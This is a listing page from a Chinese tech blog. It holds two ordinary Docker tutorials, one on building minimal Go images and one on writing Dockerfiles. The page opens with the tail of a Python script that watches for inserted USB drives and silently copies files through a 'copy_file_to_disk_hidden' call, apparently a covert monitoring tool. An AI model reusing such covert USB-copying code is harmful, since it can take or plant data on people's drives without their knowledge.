        <span class="k">if</span> <span class="n">now_number</span> <span class="o">&gt;</span> <span class="n">before_number</span><span class="p">:</span>
            <span class="c1">#print(&#34;=&#34; * 50 + &#34; \n检测到移动磁盘被插入...此刻时间是: &#34; + str(datetime.now()))</span>
            <span class="c1">#print_device(now_number)</span>
            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">mobile_device</span><span class="p">):</span>
                <span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">mobile_number</span><span class="p">):</span>
                    <span class="n">copy_file_to_disk_hidden</span><span class="p">(</span><span class="n">mobile_letter</span><span class="p">[</span><span class="n">m</span><span class="p">])</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="k">pass</span>
            <span class="n">before_number</span> <span class="o">=</span> <span class="n">now_number</span>
        <span class="k">elif</span> <span class="n">now_number</span> <span class="o">&lt;</span> <span class="n">before_number</span><span class="p">:</span>
            <span class="c1">#print(&#34;=&#34; * 50 + &#34; \n检测到移动磁盘被拔出...此刻时间是: &#34; + str(datetime.now()))</span>
            <span class="c1">#print_device(now_number)</span>
            <span class="n">before_number</span> <span class="o">=</span> <span class="n">now_number</span>
        <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

</code></pre></div>
                
              </div>

              
                <span class="post-meta">
                  
                    #<a href="https://systemime.github.iotags/%E7%9B%91%E6%8E%A7/">监控</a>&nbsp;
                  
                </span>
              

            </article>
          
            <article class="post-preview">
              <a href="https://systemime.github.io/blog/2019-02/%E5%88%9B%E5%BB%BA%E6%9C%80%E5%B0%8F%E7%9A%84go-docker%E9%95%9C%E5%83%8F/">
                <h2 class="post-title">创建最小的Go Docker镜像</h2>

                
              </a>

              <p class="post-meta">
                Posted on February 28, 2019
              </p>
              <div class="post-entry">
                
                  <h2 id="一个简单的go程序镜像">一个简单的Go程序镜像</h2>
<p>首先让我们创建一个很简单的Go程序:</p>
<pre><code>package main
import &quot;fmt&quot;
func main() {
	fmt.Println(&quot;hello world&quot;)
}
</code></pre><p>运行下面的命令会创建一个超小的镜像, 这是我们的第一种方式:</p>
<pre><code>GOOS=linux CGO_ENABLED=0 go build -ldflags=&quot;-s -w&quot; -o app app.go &amp;&amp; tar c app | docker import - app:latest
</code></pre><blockquote>
<p>下一节介绍其中的编译参数</p>
</blockquote>
<p>查看镜像, 生成的镜像只有 <code>1.21MB</code>：</p>
<pre><code># docker images app
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
app                 latest              b716e13758cd        11 seconds ago      1.21MB

</code></pre><p>这命令将编译、打包、输入镜像集成到一条命令了。</p>
<h2 id="第二种方法">第二种方法</h2>
<p><strong>第二种</strong>方式是使用一个Dockerfile文件:</p>
<pre><code>FROM scratch
ADD app /
CMD [&quot;/app&quot;]
</code></pre><p>运行下面的命令创建一个镜像：</p>
<pre><code>docker build -t app2 .
</code></pre><p>查看生成的镜像， 也是 <code>1.21MB</code>:</p>
<pre><code># docker images app2
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
app2                latest              4e2af2ffb695        4 seconds ago       1.21MB
</code></pre><h2 id="第三种方法">第三种方法</h2>
<p><strong>第三种</strong>方式是利用Docker的 multistage 功能，在镜像中编译，Dockerfile文件：</p>
<pre><code># Dockerfile.multistage
docker build -t app3 -f Dockerfile.multistage .
</code></pre><p>查看生成的镜像， 也是``:</p>
<pre><code># docker images app3
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
app3                latest              9177859dad64        16 seconds ago      1.21MB
</code></pre><p>你可以结合你的情况选择一种生成镜像的方式。</p>
<h2 id="编译go程序">编译Go程序</h2>
<p>上面的例子中我们使用下面的命令编译Go程序：</p>
<pre><code>GOOS=linux CGO_ENABLED=0 go build -ldflags=&quot;-s -w&quot; -o app app.go
</code></pre><p>你可能在其它一些文章中还看到 <code>installsuffix</code> 参数：</p>
<pre><code>GOOS=linux CGO_ENABLED=0 go build -ldflags=&quot;-s -w&quot;  -installsuffix cgo -o app app.go
</code></pre><p>自Go 1.10以后，你不必再使用<code>installsuffix</code>参数(或许更早的版本)，Go的核心开发人员Ian Lance Taylor已经<a href="https://plus.google.com/117192131596509381660/posts/eNnNePihYnK">确认</a>了这一点。</p>
<p>你可能有人还使用 <code>-a</code> 参数，它强制重新编译相关的包,一般你不会使用它。</p>
<p><code>-s</code> 忽略符号表和调试信息，<code>-w</code> 忽略DWARF符号表，通过这两个参数，可以进一步减少编译的程序的尺寸，更多的参数可以参考<a href="https://golang.org/cmd/link/">go link</a>, 或者 <code>go tool link -help</code>(另一个有用的命令是 <code>go tool compile -help</code> )。</p>
<p>你也可以使用 <code>strip</code> 工具对编译的Go程序进行裁剪。</p>
<p>本身Go是静态编译的， 对于CGO, 如果设置 <code>CGO_ENABLED=0</code> ,则完全静态编译，不会再依赖动态库。</p>
<p>如果设置 <code>CGO_ENABLED=0</code>,并且你的代码中使用了标准库的 <code>net</code> 包的话，有可能编译好的镜像无法运行，报 <code>sh: /app: not found</code> 的错误，尽管 <code>/app</code> 这个文件实际存在，并且如果讲基础镜像换为 <code>centos</code> 或者 <code>ubuntu</code> 的话就能执行。这是一个奇怪的错误，原因在于：</p>
<p>**默认情况下 <code>net</code> 包会使用静态链接库， 比如 <code>libc</code> **</p>
<p>知道了原因，解决办法也很简单，就是完全静态链接或者在基础镜像中加入libc库。</p>
<p>下面是几种解决办法：</p>
<ul>
<li>设置 <code>CGO_ENABLED=0</code></li>
<li>编译是使用纯go的net: <code>go build -tags netgo -a -v</code></li>
<li>使用基础镜像加glibc(或等价库musl、uclibc)， 比如 <a href="https://hub.docker.com/_/busybox/">busybox:glibc</a>、alpine + <code>RUN apk add --no-cache libc6-compat</code>、<a href="https://hub.docker.com/r/frolvlad/alpine-glibc/">frolvlad/alpine-glibc</a></li>
</ul>
<p>有的同学说了，我代码中确实必须使用CGO,因为需要依赖一些C/C++的库。目前没有对应的Go库可替代， 那么可以使用 <code>-extldflags &quot;-static&quot; </code> , <code>go tool link help</code> 介绍了extldflags的功能：</p>
<blockquote>
<p>-extldflags flags
Set space-separated flags to pass to the external linker.</p>
<p>-static means do not link against shared libraries</p>
</blockquote>
<h2 id="基础镜像">基础镜像</h2>
<p>其实前面已经列出了一些常用的基础镜像：</p>
<ul>
<li><strong>scratch</strong>: 空的基础镜像，最小的基础镜像</li>
<li><strong>busybox</strong>: 带一些常用的工具，方便调试， 以及它的一些扩展busybox:glibc</li>
<li><strong>alpine</strong>: 另一个常用的基础镜像，带包管理功能，方便下载其它依赖的包</li>
</ul>
<p>显然。 你应该只在编译阶段使用<a href="https://hub.docker.com/_/golang/">Go的镜像</a>，这样才能将你的镜像减小到最小。</p>

                
              </div>

              
                <span class="post-meta">
                  
                    #<a href="https://systemime.github.iotags/docker/">Docker</a>&nbsp;
                  
                    #<a href="https://systemime.github.iotags/go/">Go</a>&nbsp;
                  
                    #<a href="https://systemime.github.iotags/%E9%95%9C%E5%83%8F/">镜像</a>&nbsp;
                  
                </span>
              

            </article>
          
            <article class="post-preview">
              <a href="https://systemime.github.io/blog/2019-02/%E5%88%B6%E4%BD%9C%E8%87%AA%E5%B7%B1%E7%9A%84docker%E9%95%9C%E5%83%8F/">
                <h2 class="post-title">制作自己的Docker镜像</h2>

                
              </a>

              <p class="post-meta">
                Posted on February 24, 2019
              </p>
              <div class="post-entry">
                
                  <h2 id="写在前面">写在前面</h2>
<blockquote>
<p>镜像和容器的区别是什么，镜像，是一个静态的文件；容器，动态进程，具有生命周期</p>
</blockquote>
<h3 id="图解">图解</h3>
<p><img src="https://raw.githubusercontent.com/systemime/my_image/master/%E5%88%B6%E4%BD%9C%E8%87%AA%E5%B7%B1%E7%9A%84Docker%E9%95%9C%E5%83%8F/20180526090629970.png" alt="图解生成方式"></p>
<h3 id="使用非root用户操作docker">使用非root用户操作DOCKER</h3>
<p>docker默认使用root操作。</p>
<ol>
<li>创建docker组：</li>
</ol>
<pre><code>sudo groupadd docker
</code></pre><ol start="2">
<li>将当前用户加入docker组：</li>
</ol>
<pre><code>sudo gpasswd -a ${USRE} docker
</code></pre><ol start="3">
<li>重新启动docker服务：</li>
</ol>
<pre><code>sudo service docker restart 或
sudo systemctl restart docker（视平台而定）
</code></pre><ol start="4">
<li>当前用户退出系统，重新登陆</li>
</ol>
<h2 id="commit方式">commit方式</h2>
<p>基础镜像运行生成容器，容器中安装需要工具，提交镜像</p>
<h4 id="检查已有的镜像与容器">检查已有的镜像与容器</h4>
<pre><code># 检查镜像
docker image
# 检查容器
docker ps -a
</code></pre><p><img src="https://github.com/systemime/my_image/blob/master/%E5%88%B6%E4%BD%9C%E8%87%AA%E5%B7%B1%E7%9A%84Docker%E9%95%9C%E5%83%8F/%E6%A3%80%E6%9F%A5%E9%95%9C%E5%83%8F%E5%92%8C%E5%AE%B9%E5%99%A8%EF%BC%8C%E5%B9%B6%E5%90%AF%E5%8A%A8%E4%B8%80%E4%B8%AA%E5%AE%B9%E5%99%A8.jpg?raw=true" alt="检查已有的镜像与容器"></p>
<h4 id="交互式运行centos镜像">交互式运行centos镜像</h4>
<pre><code>docker -it centos /bin/bash
</code></pre><p>运行后发现，官方提供的centos镜像中并没有提供vim工具，这里我们选择对centos镜像增添vim工具，最后生成我们自定义的镜像</p>
<h4 id="安装vim工具">安装vim工具</h4>
<pre><code>yum install vim
</code></pre><p><img src="https://github.com/systemime/my_image/blob/master/%E5%88%B6%E4%BD%9C%E8%87%AA%E5%B7%B1%E7%9A%84Docker%E9%95%9C%E5%83%8F/%E5%AE%89%E8%A3%85vim.jpg?raw=true" alt="安装vim工具"></p>
<h4 id="检查容器并生成的镜像">检查容器并生成的镜像</h4>
<p><strong>退出并停止容器</strong></p>
<pre><code>exit
</code></pre><p><strong>查看容器</strong></p>
<pre><code>docker ps -a
</code></pre><p><strong>生成镜像</strong></p>
<pre><code>docker commit ee10ca5fcfe2 centos-vim
</code></pre><p><img src="https://github.com/systemime/my_image/blob/master/%E5%88%B6%E4%BD%9C%E8%87%AA%E5%B7%B1%E7%9A%84Docker%E9%95%9C%E5%83%8F/%E6%A3%80%E6%9F%A5%E5%AE%B9%E5%99%A8%E5%B9%B6%E7%94%9F%E6%88%90%E7%9A%84%E9%95%9C%E5%83%8F.jpg?raw=true" alt="检查容器并生成的镜像"></p>
<h4 id="自定义镜像和原始镜像之间的关系">自定义镜像和原始镜像之间的关系</h4>
<p><img src="https://github.com/systemime/my_image/blob/master/%E5%88%B6%E4%BD%9C%E8%87%AA%E5%B7%B1%E7%9A%84Docker%E9%95%9C%E5%83%8F/%E5%85%B3%E7%B3%BB%E5%AF%B9%E6%AF%94.jpg?raw=true" alt="自定义镜像和原始镜像之间的关系"></p>
<h2 id="build方式dockerfile创建镜像">build方式——Dockerfile创建镜像</h2>
<p>使用Dockerfile是更推荐的方式，这样可以让使用者更清晰地看到这个镜像的制作细节，逻辑清晰，便于管理</p>
<h4 id="创建存放dockerfile的目录后续操作将在这个目录下进行">创建存放Dockerfile的目录，后续操作将在这个目录下进行。</h4>
<pre><code>mkdir centos-vim
cd centos-vim
</code></pre><h4 id="编写dockerfile文件">编写Dockerfile文件</h4>
<pre><code># 文件名称不可变
vim Dockerfile

FROM centos:7
RUN yum install -y vim
</code></pre><h4 id="build构建镜像">build构建镜像</h4>
<pre><code>docker build -t centos-vim .

# -t表示将镜像命名为centos-vim,表示在当前目录下的Dockerfile文件
</code></pre><p><img src="https://github.com/systemime/my_image/blob/master/%E5%88%B6%E4%BD%9C%E8%87%AA%E5%B7%B1%E7%9A%84Docker%E9%95%9C%E5%83%8F/%E7%BC%96%E8%AF%91%E6%9E%84%E5%BB%BADockerfile%E6%96%87%E4%BB%B6%E7%94%9F%E6%88%90%E9%95%9C%E5%83%8F.jpg?raw=true" alt="build构建镜像"></p>
<p><strong>注意：依据Dockerfile内容，这一命令将分多步骤执行，每一步骤会生成一个中间镜像，作为下一步骤的基础。在镜像创建后，中间镜像会销毁</strong></p>
<p>查看编译生成的镜像
<img src="https://github.com/systemime/my_image/blob/master/%E5%88%B6%E4%BD%9C%E8%87%AA%E5%B7%B1%E7%9A%84Docker%E9%95%9C%E5%83%8F/%E7%BC%96%E8%AF%91%E5%90%8E%E6%9F%A5%E7%9C%8B.jpg?raw=true" alt="查看编译生成的镜像"></p>
<h2 id="过程解析">过程解析</h2>
<p>**docker镜像是只读的，这里为什么能够在centos镜像的基础上进行自定义操作呢？ **</p>
<p>我们看一下docker的编译过程
<img src="https://github.com/systemime/my_image/blob/master/%E5%88%B6%E4%BD%9C%E8%87%AA%E5%B7%B1%E7%9A%84Docker%E9%95%9C%E5%83%8F/%E8%BF%87%E7%A8%8B%E8%A7%A3%E6%9E%90.jpg?raw=true" alt="编译过程">
编译的第一步（黄色边框）会复用之前已经存在的centos:7</p>
<p><strong>重点是第二步</strong></p>
<p>882832c2b8eb其实是在centos:7镜像的基础上生成的一个临时container的id
我们忽略vim的安装过程，跳到最后
最后根据临时生成的<code>container</code>来 <strong>docker commit</strong> 生成镜像文件，最后删除临时container（对照博客开始的图示进行理解）</p>
<h2 id="错误排查与解析">错误排查与解析</h2>
<h4 id="生成错误">生成错误</h4>
<p>build 镜像过程中发生错误会生成一个名字是none镜像，修改完Dockerfile之后可以继续建立生成，之后会删除none中间镜像</p>
<p>类似下面这样：</p>
<pre><code>&lt;none&gt;               &lt;none&gt;              1c4ac682f895        5 weeks ago         915 MB
</code></pre><h4 id="dockerfile介绍">Dockerfile介绍：</h4>
<pre><code>FROM python2:v0.1

from表示从那个基础镜像开始构建镜像。基础镜像来自仓库python2，版本v0.1
from必须作为dockerfile的第一行，若本地仓库没有相关镜像，默认从远程仓库获取。如果不执行版本号，默认使用latest基础镜像。

MAINTAINER YouShow
镜像维护者个人信息

RUN pip install flask
RUN pip install git+http://username:password@gitlab.maixunbytes.com/zhangxiaopeng/pipelines.git
RUN pip install git+http://username:password@gitlab.maixunbytes.com/zhangxiaopeng/mxspider.git
RUN pip install git+http://username:password@gitlab.maixunbytes.com/zhangsheng/dateformatting.git
安装项目需要的依赖，如果从git仓库安装，要用到git账号和密码

WORKDIR /src/spiders/app_zxp_week_2/
容器启动后，切换到指定目录作为工作目录

COPY ./spiders /src/spiders
从源系统的文件复制到容器系统上。示例中复制当前目录下的spiders文件夹到容器系统src文件夹下。要把构建进镜像的文件放到Dockefile文件目录或者子目录下。
ADD 和COPY使用类似

USER dingyong
容器执行操作用哪个账户

ENTRYPOINT bash bbs_funcs.sh run_spider siku
entrypoint用来说明当使用docker run启动容器时候要执行的命令

CMD
CMD用来表示镜像要运行的默认命令，以及想要传递给它的选项。如果没有指定ENTRYPOINT，当容器启动的时候默认运行的就是CMD的值所指定的命令。若有ENTRYPOINT，ENTRYPOINT是要运行的命令，CMD的值当作ENTRYPOINT的选项。
CMD 命令会被docker run --it name /command 中command命令覆盖，而ENTRYPOINT不会
CMD [“cat”, “/etc/hosts”, “/etc/os-release”]注意：RUN指令设置的命令仅在构建镜像的时候会被使用，CMD和ENTRYPOINT会在执行docker run的时候被使用。

ENV DB_USER=root
设置环境变量

注意：编写Dockerfile时候，根据需求填写，不需要填写所有命令。
</code></pre><h4 id="删除镜像和container">删除镜像和container</h4>
<pre><code>rm Remove one or more containers
rmi Remove one or more images

docker rmi image-id
# 如果删除失败说明在containers中有需要先删除container中的内容
</code></pre><h2 id="更新镜像">更新镜像</h2>
<p>commit来更新 还有重新build更新</p>

                
              </div>

              
                <span class="post-meta">
                  
                    #<a href="https://systemime.github.iotags/docker/">Docker</a>&nbsp;
                  
                    #<a href="https://systemime.github.iotags/%E9%95%9C%E5%83%8F/">镜像</a>&nbsp;
                  
                </span>
              

            </article>
          
        </div>
        
          <ul class="pager main-pager">
            
              <li class="previous">
                <a href="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/page/4">&larr; Newer Posts</a>
              </li>
            
            
              <li class="next">
                <a href="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/page/6">Older Posts &rarr;</a>
              </li>
            
          </ul>
        
      </div>
    <div align="center" class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
        

<ul class="pagination">
    
    <li class="page-item">
        <a href="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/" class="page-link" aria-label="First"><span aria-hidden="true">&laquo;&laquo;</span></a>
    </li>
    
    <li class="page-item">
    <a href="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/page/4/" class="page-link" aria-label="Previous"><span aria-hidden="true">&laquo;</span></a>
    </li>
    
    
    
    
    
    
    
        
        
    
    
    <li class="page-item"><a class="page-link" href="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/">1</a></li>
    
    
    
    
    
    
        
        
    
    
    <li class="page-item"><a class="page-link" href="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/page/2/">2</a></li>
    
    
    
    
    
    
        
        
    
    
    <li class="page-item"><a class="page-link" href="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/page/3/">3</a></li>
    
    
    
    
    
    
        
        
    
    
    <li class="page-item"><a class="page-link" href="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/page/4/">4</a></li>
    
    
    
    
    
    
        
        
    
    
    <li class="page-item active"><a class="page-link" href="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/page/5/">5</a></li>
    
    
    
    
    
    
        
        
    
    
    <li class="page-item"><a class="page-link" href="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/page/6/">6</a></li>
    
    
    <li class="page-item">
    <a href="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/page/6/" class="page-link" aria-label="Next"><span aria-hidden="true">&raquo;</span></a>
    </li>
    
    <li class="page-item">
        <a href="https://systemime.github.io/series/%E5%A5%87%E6%B7%AB%E6%8A%80%E5%B7%A7/page/6/" class="page-link" aria-label="Last"><span aria-hidden="true">&raquo;&raquo;</span></a>
    </li>
    
</ul>


        
        
        
        
        
      </div>
    </div>
  </div>

    <div class="rocket"><img src="https://systemime.github.io/img/rocket_up.png" alt="" width="100" height="100"></div>
<script>
    $(function () {
      $(window).scroll(function () {
        
        if ($(window).scrollTop() >= 1000) {
          $('.rocket').stop().fadeIn(1000);
        }else {
          $('.rocket').stop().fadeOut(1000);
        }
      })
      
      $('.rocket').click(function () {
        $('html,body').stop().animate({scrollTop:0},400);
       
      })
    })

</script>

    
    <div id="landlord">
        <div class="message" style="opacity:0"></div>
        <canvas id="live2d" width="280" height="250" class="live2d"></canvas>
        <div class="hide-button">隐藏</div>
    </div>
    
    <footer id="copyright">
  <div class="container">
    <div class="row">
      <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
        <ul class="list-inline text-center footer-links">
          
          
        </ul>
        <p class="credits copyright text-muted">
        &copy;2017-2018
          
          &nbsp;&bull;&nbsp;
          September 20,2019
          updated
          
            &nbsp;&bull;&nbsp;
            <a href="https://systemime.github.io">Home</a>
          
        </p>

        <p class="credits theme-by text-muted">
        <a href="https://servicemesher.github.io" target="_blank">ServiceMesher</a>&nbsp;&bull;&nbsp;<a href="https://github.com/yangchuansheng/k8s-knowledge" target="_blank">Kubernetes 知识图谱</a>
        <br />
        <span id="busuanzi_container_site_pv">
            本站已被访问 <span id="busuanzi_value_site_pv"></span> 次啦
        </span>
        <span id="busuanzi_container_site_uv">
            &ensp;|&ensp;&thinsp;您是第 <span id="busuanzi_value_site_uv"></span> 位到访的小伙伴喔
        </span>
        </p>
        
        <p class="credits theme-by text-muted">
          <a href="http://gohugo.io">Hugo v0.67.0</a> powered &nbsp;&bull;&nbsp; Theme by <a href="http://deanattali.com/beautiful-jekyll/">Beautiful Jekyll</a> adapted to <a href="https://github.com/halogenica/beautifulhugo">Beautiful Hugo</a>
          
          <center><section class="credits theme-by text-muted">
    <span class="footer__copyright">
    <div>
    <span id="span_dt_dt"> </span>
    <script language="javascript">
      function show_date_time(){
        window.setTimeout("show_date_time()", 1000);
        BirthDay=new Date("7/8/2017 10:56:12");
        today=new Date();
        timeold=(today.getTime()-BirthDay.getTime());
        sectimeold=timeold/1000
        secondsold=Math.floor(sectimeold);
        msPerDay=24*60*60*1000
        e_daysold=timeold/msPerDay
        daysold=Math.floor(e_daysold);
        e_hrsold=(e_daysold-daysold)*24;
        hrsold=Math.floor(e_hrsold);
        e_minsold=(e_hrsold-hrsold)*60;
        minsold=Math.floor((e_hrsold-hrsold)*60);
        seconds=Math.floor((e_minsold-minsold)*60);
        span_dt_dt.innerHTML="本博客已经开心运行 "+daysold+" 天 "+hrsold+" 小时 "+minsold+" 分 "+seconds+" 秒";
      }
      show_date_time();
    </script>
    </div>
</script>
</section>
</center>
        </p>
      </div>
    </div>
  </div>
</footer>


<script src="https://res.cloudinary.com/jimmysong/raw/upload/rootsongjc-hugo/bootstrap.min.js"></script>
<script src="https://res.cloudinary.com/jimmysong/raw/upload/rootsongjc-hugo/photoswipe-ui-default.min.js"></script>
<script src="https://res.cloudinary.com/jimmysong/raw/upload/rootsongjc-hugo/photoswipe.min.js"></script>
<script src="https://res.cloudinary.com/jimmysong/raw/upload/rootsongjc-hugo/auto-render.min.js"></script>
<script src="https://systemime.github.io/js/main.js"></script>
<script src="https://systemime.github.io/js/clipboard.min.js"></script>
<script src="https://systemime.github.io/js/prism.js?t=123"></script>
<script src="https://systemime.github.io/js/highlight.min.js"></script>
<script src="https://res.cloudinary.com/jimmysong/raw/upload/rootsongjc-hugo/katex.min.js"></script>
<script src="https://systemime.github.io/js/reward.js"></script>
<script src="https://systemime.github.io/js/canvas_ribbon.js"></script>
<script> renderMathInElement(document.body); </script>

<script src="https://systemime.github.io/js/baguetteBox.js"></script>
<script> baguetteBox.run('.gallery');</script>






<script async defer src="https://buttons.github.io/buttons.js"></script>


<script src="https://polyfill.io/v2/polyfill.min.js?features=IntersectionObserver"></script>
<script type="text/javascript" src="https://systemime.github.io/js/quicklink.umd.js"></script>
<script>
window.addEventListener('load', () =>{
   quicklink();
});
</script>



<script type="text/javascript">
 
var a_idx = 0;
jQuery(document).ready(function($) {
    $("body").click(function(e) {
        var a = new Array("Docker", "Kubernetes", "Prometheus", "Envoy", "Istio", "Service Mesh", "Cloud Native");
        var $i = $("<span />").text(a[a_idx]);
        a_idx = (a_idx + 1) % a.length;
        var x = e.pageX,
        y = e.pageY;
        function randomColor() {
          var flakeColor = new Array("#FFDA65", "#00BFFF", "#BA55D3", "#FFA07A", "#87CEEB", "#FFB6C1");
          var snowColor = flakeColor[Math.floor(flakeColor.length * Math.random())];
          return snowColor;
        }
        $i.css({
            "z-index": 999999999999999999999999999999999999999999999999999999999999999999999,
            "top": y - 20,
            "left": x,
            "position": "absolute",
            "font-weight": "bold",
            "color": randomColor()
        });
        $("body").append($i);
        $i.animate({
            "top": y - 180,
            "opacity": 0
        },
        1500,
        function() {
            $i.remove();
        });
    });
});
</script>


<script type="text/javascript" src="https://systemime.github.io/js/lightbox.js"></script>











<script src="https://cdn.plyr.io/3.4.7/plyr.js"></script>
<script>const player = new Plyr('#player');</script>


<script async defer src="https://buttons.github.io/buttons.js"></script>


  </body>
</html>

